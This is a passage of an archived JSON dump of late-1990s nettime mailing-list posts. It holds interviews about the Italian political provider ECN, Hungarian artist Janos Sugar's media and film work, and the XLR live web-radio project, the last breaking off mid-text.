                "content": "\nnote: this article is one of the results of the on-line journal which \nwas produced during the Hacking In Progress event, last weekend. The live\nnet reporting marked the start of the magazine of the digital city\nAmsterdam. You can find the text, audio and video reports at:\nhttp://magazine.dds.nl/\nFor the first time, a number of political providers from europe held an\ninformal meeting to get to know each other. After the presentation of\ncontrast.org (nl) groups from Paris, Italy (ecn), Hamburg (nadir.org)\netc. discussed about forms of collaborations like the newly created\ninternational federation of independant media and the tactical media\nnetwork, which is currently based at Hybrid Workspace in Kassel. (geert)\n--------\n\nInterview with Marta from Rome about ecn (european counter network)\nand islands in the net.\nby bas r.\n\nCan you explain what ecn is and does?\n\nEcn is something like a political provider: we offer space, e-mail,\nknowledge, network services (of course without asking money) to groups\nand individuals of the underground scene in Italy and outside. Groups and\nindividuals must have a few characteristics: they must be self\norganizing, anti-fascist, anti-sexist and anti-racist.\n\nHow did this initiative start?\n\nEcn is now an open political provider, but its roots are from autonomia\noperaia, a political movement that started in the 70s in Italy. We\nstarted very early with communication technology for the Italian\nunderground and computer scene. In 1989 we created a network of BBS to\nexchange information between movement radios, social centers and squats in\nItaly. After three years we joined another new-made network, called\nCybernet, and passed into Fido technology. These two networks, ECN and\nCybernet found somehow the space to share two souls: a political one from\necn and a cyberpunk, techno-political one from Cybernet.\nWe shared (and still share!) different discussion areas: the main one is\nthe cyberpunk area, where we speak about every argument concerning the\nuse of new technology, politics, transgender, drugs, counter-information\nand much more. Other areas are about social centers, cyber rights and\nmore.\nThe network of Fido BBS's still survives, and just last year we decided to\nadd an internet service to our efforts, called Isole Nella Rete (islands\nin the net, go http:// www.ecn.org). This is a new project, that involves\nnew people and new experiences from both original networks, ecn and\ncybernet.\n\nDid this 'opening up' towards the internet have consequences for the\ncontents of the network?\n\nThe explosion of the internet arrived in Italy in 1994. Before this, the\ninternet was accessible only for universities and for research purposes.\nSo, when it went public and became commercialized, the interest of the\ngeneral public in life on the net grew. More people became aware of the\npossibility to get or to share information on the net - and more people\nlearned about ecn and got progressively involved in it.\nIsole nella Rete chose to open its services to every group in need of a\nplace to organise themselves on the net. The conditions of access are the\nones mentioned above.\nOpening up to the internet also brought discussions on cyberrights and\nrelated issues to a larger public. New interests have risen amongst the\nlarger public because of the internet explosion and our islands on the\nnet initiative, like the importance of anonymity in the digital age.\nAnonymity was considered a bourgeois desire at first, but after people\nlearned more about the importance of this issue in the digital world,\nwhere you must defend yourself in a different way compared to the\nanalogical world, they got involved in this discussion.\nAnarchists used the islands for informing people on the legal actions of\nthe state against them. This made the anarchist movement more sensitive\nfor communication technology; before that they only saw the negative sides\nof it.\n\nWhat about the sense of community? Is it different on the islands as\ncompared to the BBS?\n\nWith the Fido BBS technology there was (and still is) a clear sense of\ncommunity, as compared to the islands in the net website. On the islands\nare now 4 mailing lists: about social centers, cyberrights, zapatistas\nand 'movement', a more general area. But these mailing lists are not so\n'immediate' as the Fido bulletin boards are. People feel somehow less\ninvolved. They see the website (the islands in the net) as an instrument\nto publish stuff (you read it and maybe answer sometimes) and not as a\nplace to socialise. On the Fido boards people really feel present in a\nplace they share with other people. This sense of community is much lower\non the islands.\nFor the cyberrights discussion, there is a gateway between Fido and the\nweb, the messages are the same (if it works). Now the other areas of Fido\nare being gatewayed to newsgroups (instead of the web) because we think\nthese give a better sense of community.\n\nWhat happens on the islands today?\n\nFirst, there is a project on the islands on political prisoners who have\npublished their diary (in print). We have put that diary on the net with\nthe possibility for everyone to add their own appointments and ideas. It\nhas become a kind of guestbook connecting political stories to all kinds\nof personal and public events in daily life.\n\nAnother project of the islands: we offer a real audio service to movement\nradios by publishing audio info points - this could turn into daily radio\nnews bulletins over the net.\n\nWe also mirror other sites like the German magazine Radikal. And we offer\nspace to political groups from outside Italy, like ecn France and a\nSpanish political action group.\n\nApart from discussing issues like anonymity we also build the tools\nnecessary for getting it! Like an anonymous remailer, the 4th in Europe.\nAnd we offer a collection of software like PGP for encrypting your\nmessages. This includes software from the US for instance, that should\nnot have been exported ;-).\n\nThese are all the things that the islands in the net are doing\nthemselves. Beside these projects a lot of other initiatives are guests on\nthe islands. Sometimes we have to teach them how to work with the net. We\nbelieve in having as many participants fitting the profile as possible,\neven if they are sometimes 'politically incompatible', like Italia Cuba\nand the anarchists pages. Everyone should be able to join, this makes the\nislands richer we think.\nNow there is a structure (websites, newsgroups, e-mail, anonymous\nremailers,  etc.) and a place where all info is gathered. For the future\nwe are looking at ways to re-create the web more as a tool to share\ninformation, we want to bring more interactivity into it, and show how\neveryone can organise their initiatives on the net. This we show to both\nthe general public and the underground. Finally we want to extend our\ninternational contacts. If you are interested, go http://www.ecn.org and\nwrite to info {AT} ecn.org!\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Mon, 11 Aug 1997 17:36:34 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199708111536.RAA25855 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9708/msg00044.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> HIP: interview with marta (european counter network-rome)"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00122",
                "content": "\nIntermedia: The Dirty Digital Bauhaus\nAn e-mail interview with Janos Sugar (Budapest)\nBy Geert Lovink\n\nGL: Can you describe for us the way you encountered the \nmedia in Hungary from, let us say, the late eighties? In my view, \nyou started working with film and video at a time when the dark \nperiod of the early eighties was over and new era was about to begin.\n\nJS: I started to work with film in the beginning of the eighties.\nParallel with my sculptural studies at the Art Academy, I worked \nwith the Indigo (interdisciplinary thinking) group and we did shows, \nhappenings, films together. Since the leader of the group was Miklos \nErdely who himself was partly a filmmaker (conceptual artist, writer, \npainter--the most influential artist of his time and since) he pushed us, \nthe group a bit in the direction of filmmaking. He did his films in the\nBela Balazs Studio (BBS), and so in the early eighties I started to \nvisit the regular Tuesday BBS meetings. Filmmaking at that time was \nstill having some revolutionary romantic appeal and the most exciting \nand authentic place among the Hungarian filmstudios was the Bela \nBalazs Studio.\n\nBBS was a strange phenomenon: in the ocean of counter selection a\nlittle island for (state-sponsored) experiments in the sense of \nexpression and political tolerance. The studio produced strong \ndocumentaries; strange shortfilms resulted but were rarely shown.\n\nConcerning the dark period, I have to say, it wasn't so dark. Only\naccess by the general public and mainstream media was censored, \nnot production.  Public culture was strongly controlled: censorship, bans, \nbut a vital underground art scene (the second publicity) existed, and \nmaybe that is most important. Having no space for the ambitions, no \npractical perspectives, we had lots of time.  For me as a young artist, it \nwas an idyllic training--everyone was approachable, ready for dialogue.\n\nA couple of years before I joined BBS, I started to view films\nconsciously and I had seen the basic works. My father took me to \nsee Antonioni's \"La Notte\" (The Night) when I was sixteen.  And after \nthis, the biggest impact was Godard's \"Masculin Feminin,\" which I saw \nin the late seventies and changed my view about film and filmmaking.\nLater, I made a few super-8 pieces, worked in films (as an actor in\nseveral of Ildiko Enyedys films and even in her diploma work). Finally in \n85, I made my first film, a 50 minute long 16mm piece , \"Persian Walk,\"\nwhich caused such an unprecedented scandal in the  BBS that I had \nno chance to make anything there for years (and only 4 years later \ncould I obtain a final print of this film). I had some experiences with \nvideo, but except for a few narrative pieces, didn't do much. I couldn't \nhave a daily experience with video because access was very limited.\n \nGL: What about computers-- do you recall your first encounter, was it in\nan artistic or academic context?\n\nJS: In the mid-eighties, computers appeared in my horizon.  In 86, \nI was given (along with other young artists) some computer time to \nproduce works for the first Hungiarian computer graphic show. The \nofficials wanted a computer graphic show, at least some smart people \nsold them the idea.  The only problem was there were no computer \nartists, because there were no computers available--for long \nyears--because of the rigid regulations. You saw just hardware parts \nand even they were sold mostly second hand.  Anyway, they managed \nlimited access to some IBM PCs in a room in some state \ncomputer research institute and the invited artists were working \nby a timetable. The only software was \"pc paint\" and I never \nheard this name again.\n\n>From the mid-eighties, besides my solo shows of installations, I\nparticipated in several such national computer art shows \n(\"Artists Hongrois et l'Ordinateur\" for example, classical cold war) \nbut not having steady access, I wasn't so excited about it.  \nOnce I even had a little job (with the help of Tamas Waliczky) to \ndraw new backgrounds for an existing karate game. I did it, but it \ntook so much time)  Then, I nearly bought an Amiga, but for a \nlong time, the only computer around me was a C-64 I used with \na tv and an external drive as a typewriter.  Actually, this was my real \nexperience with a computer. I realized that using a word processor \nchanges my attitude toward writing totally. Maybe toward everything.\n \nGL: Still, you had little access to machines and perhaps also to the\ncurrent media theory of the late eighties.\n \nJS: No real access to video, that's what I really missed. That's why I\ndidn't do any real video art work, which requires in my view a sort of\ndaily practice, a kind of coexistence with the medium. I didn't really \nmiss the computer.  Regarding media theory, the situation\nwasn't so bad, at least we knew that something called media theory\nexisted. Miklos Peternak published some good essays and he had \na rather different voice from the others. There were some rare\npublications, monthlies, small circulation textbooks, and \nBenjamin, Barthes, Baudrillard, Virillio, Feuerabend were \nsomehow present.\n\nIn the second half of the eighties Miklos and I started lecturing on\nfilm together, and we did it for a few years. There was a so-called Free\nUniversity, offering a broad choice of evening courses, anyone could\nenroll in, lots of language courses, and the rest was popular science, \nart, travelling (the expert lecturer showed slides of his/her journeys).\nIn 96, I did a work using this organization's slide archives--an \nenormous, unorganized 35mm slide archive of everything, from\nthe  AK 47 to sex-education.  So, one day walking from somewhere to\nsomewhere in the downtown, I bumped into Miklos, who told me he is just\ngoing to give a lecture there on film. We started to talk and I went with\nhim and when the time came he asked me to take part in the discussion. \nThe next year we announced the \"Alternative Filmschool\" which went on \nfor 3 years. We were payed and we could order films which even we \nourselves even hadn't  seem.  The audience was very mixed--a bunch of \nyoung people, elderly people mainly napping and some knitting ladies. \nWe always showed two films and finished with a conversation between us. \nSometimes we changed the order of the reels.\nLater we did a series in the Kunsthalle, under the title: \"Film Utopias\".\nOriginally, my opera on video technique was planned as the closing event.\nAfter all of those experinces I wrote an essay: \"The Fate of Intention in\nthe Genre of Two-Dimensional Moving Image\".\n\nGL: How would you now describe your media awareness during \nthe period of transition, let's say the during the period 1989-92?\n\nSJ: This was the time, when I had real life experiences in media theory:\nthe early years of typical East European spindoctorship, watching the \nsoap opera of changing political rhetoric. First political then financial\nfight for the mass media (The word \"media\" first appeared in Hungary \nas \"media war\", the general usage of the term was/is: \"press\"); the \nmore and more conscious usage of tv medium by the politicians; \nthe Rumanian tv revolution; the increasing financial difficulties of the \nBBS. Altogether, this produced a mixture of anecdotes, shocking \nexperiences, and lots of incredible examples.\n\nBefore 89, things like political commercials or massive ad campaigns \nwere totally unknown in Hungary. And in 1991, in the summer, I \nwas commissioned to do in a few months a five part series for the \n(state) TV.  A very courageous pruducer, who (for a short time) had \nrelatively large broadcast time, started to work with outsiders, visual\nartists.  She asked me to do some four-part series, and with Gabor \nBora I made a proposal  for \"Misunderstandings\" which she accepted.\nI could work with professional TV technique and (because everyone was\nbusy with politics) not even my own producer saw it before it aired. \nWe felt a growing competence and there were lots of opportunities \nto explain our approach, like inviting people and organizing events \nsuch as \"The Role of TV in the Rumanian Revolution,\" (conference, 1990). \nThis led to lots of contacts and information from abroad. And somehow \nthis activity led us to establish the Intermedia Department in 1990 \nat the Academy of Fine Arts (from where, btw I was kicked out in 84), \nwhich was the first program of its type in the post-Communist region.\n\nGL: Do you think that there was a dialogue with the early avant garde,\nor with film of the sixties? Or is this just a reconstruction\nafterwards, to build the story of the so successful Hungarian Video \nschool around Gabor Body?\n\nSJ: There is always a dialogue in art. The hard core avant-garde was\nsomehow still present. Lajos Kassak died in the seventies.  Moholy-Nagy\nbecame a national pride. But the films of the sixties were more or less\nunder the strong influence of the zeitgeist and for young people poetry\nwas out and filmmaking was in. The film medium represented \nsomething very important for this generation, who met the reality of \nWW2 mainly through films. (nowadays we meet irreality through \nspecial effects in the movies.)  Film was the top medium: expensive but \nefficient and glamorous, the dream of every modern artist.  \nGabor Body was very literate even in an academic sense and \nrepresented a very strong intellectual but revolutionary\nattitude in the filmmaking.  His innovation was linking techne with\nphilosophy which appears in a very consciously controlled visuality.\nAnd maybe because of this, he understood best what video is. \nUnfortunately, we cannot speak about his video school. If he could \nhave worked further, I think the significance of video art would be \na bit different.\n \nGL: You are not making a clear difference between the \nsecond part of the eighties and the early nineties. \nIs this really the case, no 89 fall of the wall what-so-ever?\n \nSJ: I think for Hungary, the watershed was 56. This was a long standing\ntrauma even for the politicians too. After 56, they had to give some\nperspective, optimism, to the people - and for themselves as well. It's\ninteresting, how a so-called unsuccessful revolution like this, killed by\nthe Yalta Treaty, can be successful in a sort of long term. That's why\nHungary could became a bit more liberal as the other East Block systems\nbecame more rigid.  Later, I guess, this somehow became the role of\nHungary in the Warsaw Pact.  Censorship was based on three \nprinciples: support, tolerance, ban. Practically, the Communists \nused the system intelligently--banning a few, tolerating a lot and \ncontinuously playing with dissolving previous bans. The heavily-banned \nintellectuals were less harassed than in the other countries and were \nmainly forced to emigrate. People were allowed travel every 2-3 years; \ninformation traffic was relatively strong and the cultural life in general \nwas not bad in Budapest--rather ok book publishing, exhibitions, \nclassical music, good choice of movies, etc.\n\nThere was also the so-called underground or second publicity (art\nshows, pop and contemporary music, performance, samizdat etc.) \nwith real personalities and with a strong moral position. Looking back, \nfor me it was like an incubator or a natural park: it wasn't difficult to \nsurvive, lots of time for talks, meetings, discussions, intensive \ncontacts, partying and of course in most of the cases not the \nslightest hope for a practical result. No contacts with the so-called \nfirst publicity, which was the realm of general or mass society or \nhowever you want to express it. The single and most cruel restriction\nfor culture was blocking avenues to reach the broader public. \n\nNo competition between the old and new, no aggressive cultural memes, no\nrandom spread of cultural inspiration. Only insiders knew about the best\nthings going on in art. It's somehow like a philosophical problem: can\nanything be valid if no one knows about it's existence? Schrodinger's cat\nin the artworld. This situation caused serious damage, not just in the art\n(which became hermetic and context bound), but also in the general public.\nPeople couldn't know anything about this booming period, about this\ncreative capital. If you go to a library and look through the papers,\nmagazines, of that period you won't find any reference, any news or\nmention about what was really happening, what was important for us. It's\ntragic, because the majority of actual decision makers, politicians of\ntoday are the so-called average people of yesterday--former normal people\nwho had no extra information source beside the state media.\n\nNowadays, people tend to think it's just well-known general nostalgia for\nthe good old past, but it's not: that cultural second publicity produced\nthe most important solid values. Since Hungary was the most liberal\ncountry (the weakest link), there was rather big attention from abroad,\nlots of visitors, curators, artists. With the dismantling of the Iron\nCurtain, it has changed: a sort of cultural protectionism emerged between\nthe former Socialist countries and Western Europe. We are not anymore\npicante Easterners but weak competitors with a bad infrastructure. I don't\nagree with such an argument, I think the fall of Communism changed the\ntotal situation, not just in the former East. In other words, the Cold War\ndeformed the Western cultural infrastructure as well.\n\nGL: Could you tell us about your specific way of making films. It is\nnot exactly experimental (in the technical sense), nor does it follow the\nclassical way of narration, it is also not video art. Perhaps you are\nmaking a kind of fictional art documentary, trying to undermine all the\nexisting genres...\n \nSJ: Fictional art documentary, thank you, I accept that one. The category\nI like the most is introduced by Miklos Erdely: \"cognitive film\". The\nnotion originates from the total competence consciousness of \navant-garde, which I experienced within the Indigo group. This total \ncompetence is more linked to the opportunities (site specific -\nin a complete sense) than to one or another particular medium. \nIt felt natural to use film, but of course I had no idea for what. \nSo all my films are different, like a different construction, I would say, \nsingular solutions.  For me the thought, a sort of hermetic \ndramaturgy, is essential, if it's somehow complete, then comes the \nexecution, which is sometimes resulting in the humiliation of tradition. \nI am proud that my film \"Persian Walk\", in 85, caused such an outcry \nin the BBS. Even two years ago, I was asked by a renowned colleague \nto remove the BBS logo from the credit of my latest film, \n\"Ambiguous Window.\"\n\nI cannot accept the notion of experimentalism, because such \na thing outside the film doesn't exist in other genres. I believe that \neven within the film medium an intensive dialog should go on \nbetween tradition and progression like in literature, painting etc, \nwhere maybe innovation is having less attention but it's not \nbarred from the mainstream. This separation in film\nmakes any innovation more or less a political question. \nNowadays the once 'most important genre' (Lenin) has become \na very well-integrated part of global entertainment. The big budget \ncinema is the best vehicle for the subliminal education (of the \nproletariat). It is very exciting to analyze the hidden messages of \nthe Hollywood movies, like cooperation, partnership, respect, love. \nI think it is already beyond film, because with its complex ties to \nmerchandising it became the social medium, with basic but\nirresistible messages.\n\nMaking film is expensive, and that's why a film should be\nimmediately understandable in the present, otherwise the high \nproduction costs will not come back. In other mediums, working \nartists shouldn't necessarily put importance on instant success in \nthe present, the artwork has time, can wait, until the proper perception. \nArt history is full of (time is on my side) examples. That is my \nbasic position.\n\nMiklos Erdely told the audience in the Millennium (NYC), before the\nscreening of his film, that usually a few people walk out during his\nfilms, but those who remain don't complain after at all.\nAfter making several shorter films, I became more and more interested in\na kind of a synthesis of the avant-garde attitude and experience in\nfilmmaking and the so-called movie (traditional, feature length,\nnarrative) experience. I wanted to demonstrate that beside the \nbig budget (Hollywood) and low budget (artist film) genres, there is \na third production possibility: no budget (independent) filmmaking.  \nIn 92, I did a film,\"Camera in Trouble,\" which contained a \nlong narrative block. Together with this, I cut a short film, \n\"Ambiguous Window,\" of footage's I made with my own 16mm \ncamera between 89 and 91. As a result of this double experience, \nI realized that filmmaking is not necessarily \nexpensive and I decided in 93 to make a feature length film, \n\"Faust Again\",  (under production) immediately. To realize an idea \nimmediately is an everyday experience of a visual artist, but totally \nunknown for a filmmaker who is bound to the production costs.\n\nWith video, the situation is different: not having real access to\nit, I use it only rarely. In a strange way by teaching video, my interest \nin making videos is growing. Somehow it's the first forgotten new medium. \nI think video is still or again very relevant. Maybe the presentation of it\nshould be different, like giving the viewers more time or some unusual\nenvironment.  It is remarkable, that not the improved recording\ntechnology but the improved display technology, like making better and\nsmaller projectors, has made a new impact on video art.\n \nGL: You spent a lot of time building up the Intermedia Department\nof the Art Academy in Budapest. There, you having been teaching a lot,\nfor years and years, perhaps even more then anything else. But what \nyou have been doing with the students exactly somehow remained \na mystery for me.  Tell us something about your methodology and \nyour conclusions. \n \nSJ: The starting idea was to create a media faculty which we did with\nMiklos using our strong Indigo (interdisciplinary) experience, connecting\nart and thinking, in the sense of total competence. Art, technology,\nscience with an undefined outcome. We used the word Intermedia as in\n\"interdisciplinary plus media.\"  Just after it became evident that Dick\nHiggins coined it, in opposition to what multimedia meant at that time.\nFor Higgins, intermedia was the positive pole. I am really pleased \nwe are linked somehow to the fluxus which is still flux.\n\nPractically, I have a double job there. I am doing one two-year\ncourse where I teach art and an another two-year series of media \ntheory lectures to the same bunch of 15 students, for their whole first \nand second year. Besides this, I have steady consultations with 5 \nadvanced students who have chosen me as their advisor. Of course, \nthere are other obligatory courses for our students in photo, multimedia \nand web design, art history etc. My goal is to enhance the consciousness \nof the students, to be able to go radically beyond their own unconscious \nsympathies and choose unpopular, less easy solutions. I think the \npresence of the unprecedented, referenceless media, and the \nemergence of the work-entertainment-education conglomerate \nmanifests itself more in a general media consciousness than\nin the use one or another so-called new medium. Its social impact \nis bigger than the cultural. With this new experience we can see and \ntreat the other genres (if you like the old media), as a medium.\n\nThe first thing students have to do is to write a fictional biography;\nthen I ask them to collect analogies. Then, there are various exercises in\nvideo: like analyzing a real life action by montage; making short video\npieces using text, short cuts, raging on the mixer; a series of \nirresponsible plays with the equpment. It is like teaching a language. \nIn the meantime, we watch and analyze classical video art and anything \nelse they bring--works, objects, collages--to discuss. To exercise \ncontrol over the image, they have to create a narrative b/w photo. \nI require them to make three-dimensional (plastic) scripts or models \nin addition to the classical storyboard for their videos. \n\nLast year, in the spirit of tactical media, which I was lecturing about, \nwe did a media event. Since the most popular evening news uses \na live background image of the city, we defined a point within the \nrange of this backdrop camera and we gave flashlight signals and this \nwas broadcast throughout the TV news. Parallel with these studio \nexercises, is a weekly lecture on media theory, where I begin with \nAdam and Eve (share of work, specialization, secularization etc.), \nlater touching photography, film, video, computer, hypermedia.\n\nGL: What should a new media education in an art context look like? and\ndid you have any inspiring models? How should a digital media bauhaus\nlook these days?\n\nJS: I think still deep in the core of any art education is the good old\n\"nosce te ipsum\".  For the Bauhaus technology that was a metaphor, the\nzeitgeist.  But for today, we are learning how arbitrary a so-called\nfunctional design can be. Nowadays, technology is fast moving, \nconstantly upgrading and development is a continuous act, like an \nopen language whose grammar always changes with usage and \nwhose new idioms evoke new syntax and new grammatical rules. \nResult--an endless spiral--a language that wants to tell everything, but \nis actually falsely transparent. Technology needs instant and powerful \ndemonstration and promotion to evoke demand among buyers.\nUsing artists is the cheapest and most efficient crash test for the sw/hw\nmanufacturers.  But art cannot really function in a mediated form.\nWe can alienate form and content but not in art. That's not very good \nfor a visual artist.\n\nThe so-called new media should be treated equally in every sense: so\ndigital kitsch is kitsch too, but let's not forget how the medial aspect\nchanges our attitude toward the other ways of expression.\nIn a certain sense I think our Intermedia is an ideal model for an actual\nhigher art-education program. We are in the middle of a traditionalist\nArt Academy, we were accused often of letting dilettants, people who \ncannot really draw, into the church of art. Our very poor conditions \n(we never got our full budget) force us not to fear or worship the \ntechnology and to create makeshift configurations in our run-down \nhardware. We teach the practice and the theory of the so-called \nnew media, but we encourage the use of old or traditional techniques \ntoo. In the case of new media, it's very difficult to forget the\ntools--they are sexy, pushing and more and more capable--but the \nmessage is more an attitude than an immediately profitable limited \nexpertise. We have a lots of visitors lecturing and our department \nis popular, probably because the students feel the freedom to\nwork with the most adequate medium. Today's digital Bauhaus \nshould be dirty. I don't really like the hospital/airport atmosphere \nof media labs, which suggest a sort of neutrality, \ndistance--the ideology of design.\n \nGL: We have all seen you running around in Budapest, switching from\none medium to the next all the time, several times a day even, between\ninstallation art, writing, teaching, theater, film and video, and\nincreasingly working with the computers.  And organizing events like the\nconference series MetaForum we organized together with Diana McCarty.  \nIn a way you yourself are embodying the whole idea of Intermedia. \nBut your surroundings are perhaps not so fast, not so flexible...You \nmust have seen a lot of mistrust and misunderstanding. Is 'intermedia' \na utopia for you?\n\nSJ: It's not a utopia but it's not something I am concentrating on\neither. I would rather say I am working along the maximum action \nfreedom radius. It forces you to connect things, because of lack of \ntime, to solve one problem with an other, there is no time to worship \nthe medium, just using it. In such a multitude, only the simple models \ncan survive. (like: treat the present as if it were already past) \nIt's like laying a very complex pattern whose regularities or laws are \ndiscoverable only much later. Living without feedback.\n \nThat's the game. In making art, you can experience doing or executing\nsomething which isn't based on any practical demand. No one knows about\nit, only you. It is your sole personal responsibility to realize/not\nrealize if you have an idea.  No one knocks on your door, comrade artist,\nhey, where is the painting? we need the novel! or we cannot reproduce our\nworking power without your film!  Such a thing doesn't exist in art. It\ncould be a definition as well. Anyway, that's my experience in visual art\nand I just transferred it to other areas.  If I have an idea, it's a big\nthing, let's say the most difficult part of the case, and the realization\nis much easier because it's just practical. I learned immediately how to\nforget the practical difficulties simply because they are not\ncommunicable, they are not convertible. It is a very good strategy in\nBudapest, because even now there is little public attention on art, but\nthe creative possibilities are big. I like to be in people's blind spot. \nThis situation keeps me incognito. I could and still can work with a\nrather large freedom. For me it is the highest level of luxury. The rigid\nsurroundings are sometimes very useful to enhance and refine your\nradicality. \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Thu, 26 Feb 1998 08:15:50 +0100 (MET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199802260715.IAA03363 {AT} xs1.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9802/msg00122.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Interview with Janos Sugar"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "id": "00062",
                "content": "\nXLR stands for eXtended Live Radio. The group was initiated in the\nsummer of '97. In the group are Ulf Freyhoff, Monika Glahn from Berlin\nand Marko Kosnik (Egon March Institute) and Borut Savski (Ministry\nof Experiment) from Ljubljana. They were working on trying to establish\nnetworks and platforms of any kind, be it physical or on the web. Most\ninteresting of course is the mix or hybrid forms coming from this.\nThey invited many groups and individuals to join in their experiments\nand their first project took place during two weeks in the summer of 1997.\nThere is about 70 hours of sound material from the event, which is now\navailable partly on the net. At this moment the former xrl crew in both\nLjubljana and Berlin are working on new projects, connecting with others\nvia the Xchange mailinglist.\nWhat follows is an email interview with Ulf Freyhoff and Monika Glahn.\nI added one quote from Borut Savski from one of his mails to the exchange\nmailinglist for alternative web.casters ('broad'casters on the web).\n\nQ: What exactly happened during this whole period of the project, and did\nit work well?\n\nThere were two main concerns, live-web-radio and live-fm-radio.\nWe did two weeks of fm-live-radio in ljubljana from midnight to 6am\n(last days live only till around 3 or 4..;))\nThe first week we did broadcast from a studio at Radio Student, the\nsecond week from a public space, Kapelica Gallery, both in ljubljana.\n\nWe invited people from all over the world to participate and contribute,\nit took some days till contacts to other places started to work, so the\nfirst days we were doing the whole program ourselves. So we focused and\nimprovised on themes which were about what we were doing there, for\nexample one day it was about feedback (this was the day when finally\nthe line to berlin worked and we could work and play with a lot of\ninternet-audio-feedbacks that night...)\nOther subjects were real-time; machine and human languages; nothing,\nsomething, anything; sun ra .. and (of course) cyberpunk, cyberspace\nand cybereverything; technical languages and nothing, something,\nanything; sun ra ...\n\nForm of the program was a kind of monologues, lectures or readings,\ndiscussions, music and experimental live-mix, interviews. The structure\nwas a main program between midnight and 2 am, which we called 'main\ncontent area', then from 2 till 4 am mix/improvisation and from 4 am til\n5.30 music (recreation). We then faded out with Dagmars Wusch, an ongoing\nstory about the 'cyborgs' that she wrote during the time of the project\nand reflected the things that were happening during the broadcasts.\n\nAfter some days, when web-contacts started to work, it changed depending\non who was when online and what happened at other spaces. Now the focus was\nmore on the external connections, we tried to always have opportunities\nopen for broadcasts from other places.\n\nConcerning web-activities: we had a lot of contributions from Berlin,\nfor example musicians were giving concerts or were playing via internet\ntogether with people in Kapelica Gallery, there were interviews with\nartists from Hybrid Workspace in kassel, there were interviews with\nmusicians who work with electronics and web, or for example the last\nnight we transmitted a concert of a percussionist in Aachen. Later this\npercussionist was supposed to improvise together with a trumpet-player\nin Berlin (unfortunately the line to berlin broke down completely, so\nwe had to improvise again. Borut Savski and Marko Kosnik then played\nin the gallery in ljubljana together with the guy in Aachen.\n\nIn parallel chat was running all the time, and people, who were not able\nto send sound, gave comments or participated that way and we read parts of\nthis communication during the program too. There were even people from\nAustralia, Tokio and New York participating.\n\nAt the same time there were people in the gallery doing performance, for\nexample a visitor from NewZealand decided to prepare a performance\nspontaneously for the next day together with one of the djs, who played\nthe first night together with Berlin musicians...\n\nThese are some examples to give an impression what happened - but two\nweeks is so long, that its not possible to mention it all here and now -\nand of course there were a lot of \"black holes\" which we tried to fill\nas good as possible ;)\n\n(nobody of us ever did radio before)    (the Berlin group JB)\n\nThere were a lot of technical problems, so we spent the first days\nbetween trying to find solutions for them and trying to prepare the\nbroadcast for the night, and contacting and inviting people to\nparticipate, explaining via email and chat how to install the needed\nsoftware...and so on.\n\nThis is a major thing one has to think about: is it possible to do the\ncontent and the technical side at the same time - we were stressed most\nof the time exactly in between these two concerns. So should one establish\nthe 'technician position' for events like that - what we didn't like as\nan idea - or is it just about time management ?\n\nThere are several more 'jobs' that need to be looked after: someone has\nto be 'secretary' just to keep track of all the 'communications on the\nside', someone has to be the 'social worker', just to keep track on what's\ngoing on between the people at all the connected spaces..\nIts all about monitoring what's going on, which is especially difficult\nif you are not physically at the same places.\n\nQ: How did you get the contacts with Ljubljana, why this Berlin/Ljubljana\nconnection?\n\nWe knew some folks, by chance they were living in Ljubljana, and we\nalways ever wanted to see Laibach... ;-)\nMarko Kosnik told us about the Egon March institute and his work at\nMinistry for Experiment, which is an organization within Radio Student\nin ljubljana. At the Ministry they are working since years on developing\ndifferent kind of broadcasts. They are inviting people from other\ncountries and are organizing experimental projects and platforms.\nWe saw that there are some similar interests and asked Marko if its\npossible to do a project there. They said yes and then we developed the\nconcept, also in sending amounts of emails back and forth daily for\nthree weeks of preparation. At the same time we completed the site-setup\nat Interflugs, which was the studio in Berlin during this time.\n\nQ: Were there any transmissions of web.sounds in the ether?\n\nYes, we transmitted EVERYTHING on the ether, no censorship. At the same\ntime we always tried to make the process transparent, to tell something\nabout the measures that had to be taken to make the transmissions\npossible, and about the possibilities in general.\n\nBorut Savski (on Xchange about webcasting):\nTo define the do-s and don't-s of web casting, let's compare it to what\nthe conventional radio technologies don't (!!!) offer...\nand use web casting in every way possible, especially in the ways that\nsurpass the ways of conventional radio! Even implement conventional\n(local?) media with web (international) principles (those of us who\nhave the possibility).\n\nQ: How important is the physical space for you, why does it need to\nbe connected to the net?\n\nThe physical space is the most important for us, and it doesn't NEED to\nbe connected on the net. The connection via internet of two or more\nphysical spaces gives the possibility to synchronize those spaces at\nleast partly and for a certain time. It's an image, located in real\ntime and real space, for and about information, experience, network,\ncommunication. Translation. Inside and outside. Crossing and melting\nborders.\nFor any activity in public space its very important to create a certain\natmosphere, an 'interface', which reflects what it is about.\nIts about this translation of (in this case) sound, which comes out of a\nmachine without any-body or human traces, into something you can\nexperience and which creates an atmosphere.\n\n>From a call for participation for a special night's program:\n\n   We are offering the platform we built on this evening to special\n   projects and persons whose work in different ways does connect\n   positions and ideas and puts strong efforts in opening and\n   establishing spaces for creativity, exchange and discussion.\n\nQ: What happened after you call for participation, was it effective?\n\nWe got some reactions of people who wanted to contribute, but they didnt\nappear at the announced time in the chat, so we had to do other program.\nMaybe it was unclear to them, and for sure the announcement was too\nlate. Later some of the invited people showed up but merely for\npersonal talk. Chat was integrated into the broadcast anyways.\nOur experience the days before the event was that a lot of people who\nwanted to participate could only reach us via chat. So the idea was\nto 